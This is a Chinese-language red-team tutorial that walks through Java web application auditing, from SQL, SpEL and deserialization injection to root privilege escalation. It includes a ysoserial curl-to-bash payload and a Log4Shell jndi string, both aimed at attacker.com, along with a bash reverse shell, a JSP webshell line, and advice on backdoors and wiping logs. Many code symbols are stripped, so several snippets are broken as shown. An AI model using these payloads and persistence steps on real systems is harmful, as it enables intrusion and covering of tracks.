Java Web应用安全审计实战:从漏洞挖掘到权限提升的完整攻防路径
1. 项目概述从代码到控制权的实战路径在红队评估或渗透测试中Web应用往往是突破内网的第一道关口。面对一个庞大的Java Web应用如何快速定位漏洞并利用它实现从外部访问到服务器控制权的跨越是每个安全从业者需要掌握的核心技能。这不仅仅是找到几个SQL注入或XSS那么简单而是一套从信息收集、静态/动态分析、漏洞利用到权限提升的完整战术链。很多人拿到一个War包或者面对一个在线系统时会感到无从下手工具扫一遍没结果就放弃了。但实际上Java Web由于其框架的复杂性、配置的多样性以及历史代码的沉积往往隐藏着比想象中更多的攻击路径。今天我就结合自己多年的实战经验拆解一下如何像一名真正的攻击者一样思考对Java Web应用进行快速“打点”并最终拿到服务器的控制权。这个过程我们称之为“精准突破”。2. 核心思路与前期信息侦察2.1 审计目标的快速定位与优先级划分拿到一个Java Web应用无论是源代码、War包还是一个在线地址第一步不是一头扎进代码里而是先建立整体认知。我的习惯是遵循“由外而内由框架到业务”的原则。首先识别技术栈。这决定了后续审计的侧重点。查看WEB-INF/web.xml这是Java Web的“总配置文件”。重点关注filter、servlet、listener的配置。一个配置了StrutsPrepareAndExecuteFilter的应用大概率使用了Struts2框架那么Struts2的历史RCE漏洞如S2-045, S2-061就是首要排查对象。如果看到DispatcherServlet那就是Spring MVC。检查WEB-INF/lib/目录这里存放了所有依赖的Jar包。通过Jar包的名称和版本可以快速勾勒出应用的技术图谱Spring Framework 4.x? MyBatis 3.5? Fastjson 1.2.68? Log4j 1.2.17? 每一个版本号背后都可能关联着已知的严重漏洞。例如发现fastjson-1.2.24.jar几乎可以断定存在Fastjson反序列化漏洞。分析目录结构标准的Maven项目会有src/main/java源码、src/main/resources配置文件、src/main/webappWeb资源。非标准结构可能意味着项目老旧或经过特殊定制需要更仔细地审查。其次建立代码地图。对于有源码的情况我会先用IDE如IntelliJ IDEA打开项目利用其强大的索引功能快速搜索关键危险函数和配置。入口点搜索全局搜索RequestMapping,GetMapping,PostMappingSpring或PathJAX-RS快速定位所有对外暴露的HTTP接口。危险函数搜索这是代码审计的“火力侦察”。我会同时搜索多组关键词执行类Runtime.exec(),ProcessBuilder.start(),GroovyShell.evaluate()。反序列化类readObject(),readResolve(),XMLDecoder结合XStream、Jackson、Fastjson等库。SQL相关Statement.executeQuery,executeUpdate警惕拼接JdbcTemplate查看是否使用不当。文件操作类FileInputStream/OutputStream,Paths.get()路径穿越FileUpload相关组件。表达式注入SpelExpressionParser,OGNL.getValue()Struts2Velocity.evaluate()。反射调用Class.forName(),Method.invoke()常与反序列化或命令执行结合。注意搜索时不要只看函数名要结合上下文。例如搜索Runtime.exec()可能结果很少但如果搜索getRuntime()可能会发现更多隐藏的调用点。同时要关注那些自定义的、包装了危险功能的工具类。2.2 动态分析与交互式测试准备静态代码分析能发现很多“可能性”但漏洞是否真的可利用还需要动态验证。在开始测试前需要搭建或模拟测试环境。本地环境搭建如果有源码最好在本地用Tomcat、Jetty或直接通过Spring Boot运行起来。确保能正常访问登录、主要业务功能。本地环境的优势是可以结合调试Debug动态跟踪数据流精准定位漏洞触发点。代理工具配置Burp Suite或类似的HTTP代理工具是必备的。将其设置为浏览器和测试应用的代理拦截所有请求和响应。作用一流量观察。查看应用真实的参数传递格式JSON/XML/Form-data、Session管理机制、有哪些API接口。作用二重放与篡改。这是测试漏洞的核心手段。可以将拦截到的请求发送到Repeater模块反复修改参数进行测试。作用三漏洞扫描辅助。虽然自动化扫描器如AWVS、Nessus在Java复杂框架面前常常失灵但我们可以手动将关键请求发送到Scanner模块进行定向的模糊测试或者利用Intruder模块进行爆破、遍历。测试账号获取尽可能获取多个权限的测试账号普通用户、管理员。很多逻辑漏洞如越权、业务逻辑缺陷和后台功能点都需要特定权限才能触及。如果只有低权限账号就要重点测试“水平越权”访问同级别其他用户数据和“垂直越权”利用低权限功能点或参数实现高权限操作。3. 核心漏洞模式深度解析与利用3.1 SQL注入不止于‘和‘ or ‘1’‘1Java中的SQL注入虽然因预编译PreparedStatement的普及而减少但在复杂业务、动态排序、表名/列名拼接、ORM框架使用不当等场景下依然高发。MyBatis框架下的注入这是审计重点。MyBatis的#{}是安全的参数占位符会被预编译而${}是字符串替换直接拼接进SQL语句非常危险。!-- 危险示例使用${}进行order by动态排序 -- select idgetUsers parameterTypemap resultTypeUser SELECT * FROM users ORDER BY ${sortField} ${sortOrder} /select如果sortField和sortOrder参数用户可控攻击者可以传入sortFieldidsortOrder;DROP TABLE users--导致注入。审计时需全局搜索${。修复与绕过应使用#{}或在后端代码中对sortField参数进行白名单校验。如果开发坚持用${}做动态查询审计时就要特别留意其输入过滤是否严格。Hibernate/JPA的注入使用HQL或JPQL时如果使用字符串拼接方式创建查询同样存在注入风险。// 危险示例拼接HQL String hql from User where username username ; Query query session.createQuery(hql);应使用参数绑定的方式from User where username :name然后query.setParameter(name, username)。实战技巧发现疑似注入点后不要只用和and 11测试。首先判断数据库类型通过报错信息、时间盲注的函数sleep()/dbms_pipe.receive_message()。对于Oracle注意它的注释是--后面要跟空格且双引号用法特殊。对于时间盲注Java应用有时会有连接池超时设置过长的sleep可能导致连接断开干扰判断建议使用较短的间隔如2秒。3.2 命令执行与反序列化通往RCE的捷径这是获取服务器控制权的“重型武器”一旦发现危害极大。命令执行除了直接调用Runtime.exec()更要关注那些“间接”的执行点。表达式注入Spring框架的SpEL表达式如果处理不当可以导致RCE。例如从请求参数中获取一个值直接用于SpelExpressionParser.parseExpression()并执行。// 危险示例 String expression request.getParameter(exp); Expression exp parser.parseExpression(expression); return exp.getValue();模板引擎注入如Velocity、FreeMarker。如果用户输入被直接作为模板内容解析可能执行任意代码。审计时搜索Velocity.evaluate()、FreeMarkerTemplateProcessor.process等。利用外部程序调用有时应用会调用系统命令处理文件如ImageMagick的convert、调用脚本等。如果参数用户可控且未做过滤就可能形成注入。例如一个文件上传功能后端用Runtime.exec(unzip -o uploadPath)来解压如果uploadPath用户可控即可注入命令。反序列化漏洞这是Java Web审计中的“宝藏区”利用链复杂但威力巨大。入口点寻找HTTP请求中关注接收byte[]、Object类型参数的方法关注读取Base64解码后数据的接口关注使用ObjectInputStream、XMLDecoder、XStream.fromXML()、Jackson的readValue()针对特定类型、Fastjson的parseObject()等方法处理用户输入的地方。利用链构造这是难点。需要依赖环境中存在可利用的“gadget链”组件。例如经典的CommonsCollections链CC1, CC3, CC6等、Beanutils链等。实战中如果发现应用引入了commons-collections 3.2.1、commons-beanutils 1.9.2等旧版本库就要高度警惕。实战流程识别入口找到一个可以传入序列化数据可能是二进制、Base64、Hex格式的端点。探测依赖通过报错信息、WEB-INF/lib列表判断可能存在的gadget库。生成Payload使用ysoserial、marshalsec等工具根据探测到的库版本生成对应的反序列化利用Payload。例如java -jar ysoserial.jar CommonsCollections6 curl http://attacker.com/shell.sh | bash payload.bin。发送与执行将Payload进行Base64编码或保持二进制通过找到的入口点发送。如果利用成功服务器就会执行我们指定的命令。实操心得反序列化漏洞的利用成功率高度依赖环境。在真实红队行动中如果时间紧迫我会优先寻找更直接的命令执行或文件上传漏洞。反序列化通常作为“深挖”或“权限维持”的后备手段。另外对于Fastjson反序列化记住几个关键版本1.2.24无需AutoType1.2.25-1.2.41AutoType绕过1.2.42-1.2.45进一步绕过每个版本都有对应的Payload构造方法。3.3 文件操作漏洞从任意读到任意写文件漏洞是获取源码、敏感信息甚至写入Webshell的关键。目录穿越Path Traversal这是最常见的文件任意读取漏洞。根本原因是使用用户可控参数拼接文件路径时未对../等路径遍历符号进行过滤。// 危险示例下载文件功能 String fileName request.getParameter(file); File file new File(/var/www/uploads/ fileName); Files.copy(file.toPath(), response.getOutputStream());如果传入file../../../etc/passwd就能读取系统文件。审计时搜索File,Paths.get(),ServletContext.getResourceAsStream()等函数看其参数是否用户可控且未做规范化处理。修复方案使用Path.normalize()进行规范化然后检查规范化后的路径是否仍在预期的基础目录内。更好的做法是使用白名单只允许访问特定的、安全的文件名。任意文件写入/上传GetShell这比读取危害更大直接导致代码执行。无限制上传上传功能未检查文件后缀、MIME类型、文件头导致可直接上传JSP、JSPX、War等可执行脚本。限制绕过前端校验仅通过JS校验后缀用Burp抓包修改即可绕过。黑名单校验禁止上传jsp,jspx等。可尝试jsp.末尾空格、jsp%20、jsp::$DATAWindows特性、jspxSpring MVC下可能解析、jspx.jsp双重后缀某些解析逻辑可能取最后一个后缀等。内容校验检查文件头或内容。可以制作图片马在图片末尾追加JSP代码。如果服务器只是检查了文件头上传后如果能通过目录穿越或已知路径访问到该文件依然可以执行。写入点寻找不一定是上传功能。任何将用户输入写入文件的操作都可能成为利用点如日志记录、配置文件修改、模板保存等功能。如果写入内容部分可控可以尝试写入一个JSP Webshell。// 危险示例保存用户配置 String config request.getParameter(config); // 用户部分可控 String content base.config config; Files.write(Paths.get(/app/config.properties), content.getBytes());如果config参数传入\n\n% Runtime.getRuntime().exec(request.getParameter(cmd)); %并且这个配置文件最终以.jsp后缀被访问就可能执行命令。关键在于找到“写入”和“访问”这两个动作的关联路径。4. 框架与组件特定漏洞挖掘4.1 Spring系列框架审计要点Spring生态庞大不同组件有不同风险点。Spring MVC参数绑定漏洞早期版本存在将请求参数自动绑定到模型对象Model时的“类类型污染”CVE-2011-2730现已较少见。但需注意自定义参数解析器的安全性。视图名称操纵如果控制器方法返回的视图名称用户可控可能导致路径遍历或恶意文件包含。GetMapping(/page) public String page(RequestParam String name) { return name; // 如果name为“../WEB-INF/web.xml”可能造成敏感信息泄露 }SpEL表达式注入如前所述是Spring MVC/Spring Boot中高风险的RCE点。Spring BootActuator端点未授权访问/actuator或旧版的/metrics,/trace,/env,/heapdump等端点如果暴露且未授权会泄露大量敏感信息环境变量、配置、线程堆栈甚至可以通过/actuator/env修改配置POST请求结合/actuator/restart重启应用来触发RCE需要特定条件。默认错误页信息泄露可能暴露堆栈跟踪信息泄露代码路径、依赖版本等。配置不当server.servlet.session.persistenttrue且使用默认存储可能导致Session反序列化问题。Spring Security权限绕过配置错误是最常见问题。例如antMatchers(/admin/**).hasRole(ADMIN)但忘记了为/admin本身配置规则导致/admin可被直接访问。方法级安全注解遗漏在Controller方法上使用了PreAuthorize但在Service层的方法上忘记使用攻击者可能通过直接调用Service层方法绕过控制。4.2 第三方依赖组件漏洞这是“站在巨人肩膀上的攻击”利用已知漏洞效率极高。建立依赖清单通过pom.xml、gradle.build或WEB-INF/lib/目录整理所有第三方库及其版本。漏洞匹配使用工具如OWASP Dependency-Check、Maven的versions:display-dependency-updates或手动在NVD、CNVD、开源组件漏洞库如https://github.com/vulhub/vulhub中搜索。重点关照对象序列化/反序列化库Fastjson, Jackson-databind, XStream, SnakeYAML。模板引擎Velocity, FreeMarker, Thymeleaf特定版本存在注入。日志库Log4j 1.x (CVE-2019-17571), Log4j 2.x (CVE-2021-44228 - Log4Shell) Logback (CVE-2021-42550)。XML解析器XMLDecoder (Java自带) 以及使用XXEXML外部实体注入漏洞的解析器如DocumentBuilderFactory未禁用DTDs。OAuth/SSO客户端可能存在重定向绕过、状态参数篡改等漏洞。验证与利用找到疑似漏洞组件后需验证其是否在攻击路径上。例如发现Log4j 2.x 2.15.0需要找到应用哪里会记录用户可控的输入如User-Agent, Referer, 表单参数。在HTTP头或参数中插入${jndi:ldap://attacker.com/a}观察是否有DNS或LDAP请求发出来验证漏洞是否存在。5. 权限提升与后渗透思路通过Web漏洞获取一个立足点如一个Webshell、一个命令执行回显后工作只完成了一半。如何将这个立足点转化为稳固的服务器控制权是红队行动的关键。5.1 突破Java沙箱与容器限制很多时候我们拿到的执行环境是受限制的。Java Security Manager如果应用启用了Security Manager很多操作如文件读写、执行命令、网络访问会被禁止。需要尝试绕过策略。可以尝试查找未受保护的方法、利用反射修改策略文件、或寻找已授权的代码路径进行“沙箱逃逸”。在实战中遇到Security Manager的情况相对较少。容器用户权限低Java Web应用通常以tomcat、www-data等非root用户运行。这个用户权限有限可能无法读取/etc/shadow不能安装软件。信息收集首先执行id、whoami查看当前用户和组。执行sudo -l查看当前用户能以root身份无需密码运行哪些命令。这是一个非常重要的突破口如果发现能运行/bin/bash、/usr/bin/vim、/usr/bin/python等很可能直接提权。查找SUID/GUID文件执行find / -perm -4000 -type f 2/dev/null查找SUID文件find / -perm -2000 -type f 2/dev/null查找GUID文件。常见的危险SUID程序有nmap旧版本交互模式、vim、bash、find、cp等可以利用它们提权。查看计划任务crontab -l查看当前用户的计划任务ls -la /etc/cron*查看系统计划任务。如果有任务以root身份运行且脚本或路径当前用户可写可以通过写入恶意命令来提权。查看环境变量与路径env查看环境变量特别是PATH、LD_PRELOAD等。如果当前用户可以控制某个root调用的程序的路径或加载的库可以用于提权。5.2 内网横向移动初步拿到一台Web服务器的权限后它很可能处于内网中。网络信息收集ifconfig或ip addr查看网卡信息发现内网IP段。netstat -antp或ss -antp查看网络连接发现该服务器与内网其他机器的通信数据库、缓存、中间件、其他应用服务器。cat /etc/hosts查看主机映射。cat /etc/resolv.conf查看DNS服务器DNS服务器通常也在内网。探测内网存活主机由于环境可能没有nmap可以用ping、bash循环或上传静态编译的扫描工具如masscan、gobuster的二进制文件。# 简单的bash循环ping扫描 for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i | grep bytes from done端口与服务探测对存活主机进行常见端口22-SSH, 3306-MySQL, 6379-Redis, 8080/8009-Tomcat/JBoss, 7001-WebLogic等扫描。Java环境内Redis未授权访问、Jenkins弱口令、Docker API未授权等都是常见突破口。利用现有凭据检查Web应用本身的配置文件如application.properties,application.yml,jdbc.properties里面往往存有数据库、缓存等中间件的连接密码。这些密码很可能在其他系统中复用。也可以尝试从~/.bash_history,~/.ssh/目录下寻找历史命令和私钥。5.3 持久化与痕迹清理在取得控制权后为了维持访问需要部署后门并在必要时清理痕迹。Webshell持久化写入隐蔽目录不要放在Web根目录下容易被扫描到的地方。可以放在/tmp、/var/tmp或者Web应用内部的深层目录如/static/../WEB-INF/classes/下但需确保容器能解析执行。写入计划任务添加一个每分钟或每几分钟访问一次特定URL的cron任务作为“心跳”或反弹shell。修改现有JSP文件在某个正常的、访问频率高的JSP页面如首页index.jsp末尾追加一行Webshell代码这样更隐蔽。部署内存马这是高阶技巧。通过Java Agent技术或利用特定框架的漏洞如Tomcat Filter/Servlet内存马将Webshell注入到运行中的Java进程内存里不落盘对抗文件查杀。但实现复杂对Java内存结构要有较深理解。痕迹清理清除Web访问日志Tomcat的日志在logs/目录下通常是localhost_access_log.*.txt。Nginx/Apache的日志在各自配置的目录。直接删除或清空相关日志文件。清除命令历史history -c清除当前session历史还需要清空~/.bash_history文件。注意在真实的红队评估中是否清理痕迹、清理到什么程度需要严格遵守授权协议和行动规则。在防守方蓝队有完善监控的情况下粗暴的删除日志行为本身就会触发告警。6. 实战案例串联一次完整的打点过程假设我们获得了一个Spring Boot应用的War包名为customer-portal.war。我们来模拟一次完整的审计打点过程。初步侦察解压War包查看WEB-INF/lib/发现spring-boot-starter-web-2.3.0.RELEASE.jarfastjson-1.2.62.jarmybatis-3.5.5.jar。web.xml显示这是一个Spring Boot应用无传统web.xml但有SpringBoot的初始化器。查看application.properties发现management.endpoints.web.exposure.includehealth,info,envActuator的env端点暴露了动态测试将应用部署到本地测试环境java -jar customer-portal.jar。启动后访问http://localhost:8080/actuator/env果然可以未授权访问泄露了大量配置信息包括数据库密码db.passwordSuperSecret123!和一个Redis配置spring.redis.hostinternal-redis.prod.svc。深入代码审计用IDE打开源码。全局搜索${在MyBatis的Mapper XML文件中发现一处select iddynamicOrder resultTypeOrder SELECT * FROM orders WHERE user_id #{userId} if testorderBy ! null ORDER BY ${orderBy} /if /select这是一个明显的SQL注入点。对应的Controller方法接收orderBy参数。漏洞验证与利用通过Burp拦截一个查询订单的请求修改orderBy参数为id; UPDATE users SET is_admin1 WHERE usernameattacker--。由于是${}拼接且后端可能未启用多条语句执行取决于数据库驱动配置我们先尝试更简单的布尔盲注orderByid,(SELECT CASE WHEN (substr(database(),1,1)c) THEN 1 ELSE 1/0 END))。发送请求如果应用正常返回说明数据库名第一个字母是‘c’如果返回500错误除零错误则不是。通过这种方式可以提取数据。扩大战果同时我们注意到Fastjson版本是1.2.62这是一个存在多个绕过AutoType限制漏洞的版本。在代码中搜索parseObject或parse发现一个处理JSONP的接口GetMapping(/api/jsonp) public String jsonp(RequestParam String callback, RequestParam String data) { JSONObject obj JSON.parseObject(data); // 危险 // ... 处理逻辑 return callback ( obj.toJSONString() ); }data参数用户完全可控并且直接传入了JSON.parseObject()而该版本Fastjson在特定条件下可以绕过AutoType检查。我们可以构造包含恶意类如com.sun.rowset.JdbcRowSetImpl的JSON数据并利用JNDI注入实现RCE。需要搭建一个恶意的LDAP/RMI服务来配合攻击。权限提升通过Fastjson漏洞成功在服务器上执行了命令whoami发现当前用户是tomcat。执行sudo -l惊喜地发现User tomcat may run the following commands on target-host: (ALL) NOPASSWD: /usr/bin/systemctl restart app-servicetomcat用户可以无密码以root身份重启一个服务。我们查看/etc/systemd/system/app-service.service发现它执行了一个脚本/opt/scripts/restart.sh。而这个脚本tomcat用户可写最终控制我们向/opt/scripts/restart.sh写入一个反向Shell命令bash -i /dev/tcp/我们的攻击机IP/4444 01。然后执行sudo systemctl restart app-service。服务以root权限重启执行了我们修改的脚本一个root权限的反向Shell连接到了我们的攻击机上。至此我们完成了从外部Web漏洞发现到获取服务器root权限的完整链条。这个案例串联了信息泄露、组件漏洞Fastjson、配置漏洞sudo权限等多种技术体现了红队攻击中“多点突破链式利用”的思想。在实际环境中过程可能更曲折需要更多的耐心和技巧组合。记住没有“银弹”成功的渗透测试来自于对细节的敏锐观察、对技术的深刻理解以及永不放弃的尝试精神。每一次代码审计都是一次与开发者思维对话的过程理解他为什么这么写才能找到他没想到的突破路径。